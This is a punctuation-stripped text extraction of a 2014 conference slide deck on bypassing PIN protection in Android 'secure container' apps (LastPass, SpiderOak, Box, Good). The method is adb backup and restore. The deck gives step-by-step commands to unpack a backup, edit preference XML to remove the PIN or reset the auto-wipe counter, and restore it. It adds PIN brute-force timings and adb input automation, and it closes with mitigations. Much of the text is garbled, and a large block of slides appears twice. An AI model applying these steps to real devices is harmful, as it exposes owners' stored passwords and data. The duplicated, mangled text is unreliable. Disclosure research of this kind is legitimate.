adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 13: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

